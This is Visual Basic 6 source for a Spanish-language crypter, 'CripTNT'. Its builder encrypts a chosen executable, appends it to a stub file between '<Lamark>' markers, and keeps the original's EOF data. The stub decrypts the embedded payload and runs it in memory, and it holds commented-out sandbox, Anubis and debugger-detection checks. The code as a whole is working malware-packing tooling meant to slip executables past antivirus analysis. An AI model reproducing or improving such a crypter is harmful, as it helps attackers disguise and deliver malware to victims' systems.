Private Sub chameleonButton3_Click()
    Dim Buffer() As Byte
    Dim ResBuffer() As Byte
    Dim EofData As String
    Dim Buffer2 As String
    Dim Stubpath As String
   
    With CommonDialog1
        .CancelError = True
        .DialogTitle = "Selecciona donde guardar el archivo cifrado"
        .DefaultExt = ".exe"
        .Filter = "Executables|*.exe"
        .FileName = "cifrado.exe"
    End With
    CommonDialog1.ShowSave
    Stubpath = CommonDialog1.FileName
   
    ResBuffer() = LoadResData(101, "CUSTOM")
    Open Stubpath For Binary As #3
    Put #3, , ResBuffer()
    Close #3

    Text3.Text = Text3.Text & "Leyendo archivo..." & vbCrLf
    Text3.Text = Text3.Text & "cifrando..." & vbCrLf
   
    EncodeArrayB LoadFile(Text1.Text), Text2.Text
    Buffer() = encoded()
   
    Buffer2 = StrConv(LoadFile(Text1.Text), vbUnicode)
    EofData = Mid(Buffer2, GetEOF(Text1.Text), FileLen(Text1.Text))
   
    Open Stubpath For Binary As #1
    Put #1, LOF(1) + 1, "<Lamark>"
    Put #1, LOF(1) + 1, Buffer()
    Put #1, LOF(1) + 1, "<Lamark>"
    Put #1, LOF(1) + 1, Text2.Text
    Put #1, LOF(1) + 1, "<Lamark>"
    Put #1, LOF(1) + 1, EofData
    Close #1
   
    PatchEOF Stubpath 'removed cause it crashes the eof data
   
    Open Stubpath For Binary As #1
    Put #1, LOF(1) + 1, EofData
    Close #1
   
    Text3.Text = Text3.Text & "cifrado!" & vbCrLf
    MsgBox "El archivo fue cifrado correctamente", 64, "CripTNT"
End Sub

Dim d4täN() As String
Dim iNh41T As String
Dim Ev1L() As Byte
Dim Myself As String

Sub Main()
    On Error Resume Next
    'If Sandboxed = True Then MsgBox ""
    'If Anubis = True Then MsgBox ""
    'If Debugger = True Then MsgBox ""
   
    Myself = App.Path & "\" & App.EXEName & ".exe"
    Open Myself For Binary As #1
    iNh41T = Space(FileLen(Myself))
    Get #1, 1, iNh41T
    Close #1
   
    d4täN() = Split(iNh41T, "<Lamark>")
    Ev1L() = StrConv(d4täN(1), vbFromUnicode)
    EncodeArrayB Ev1L(), d4täN(2)
    RunExe Myself, encoded()
End Sub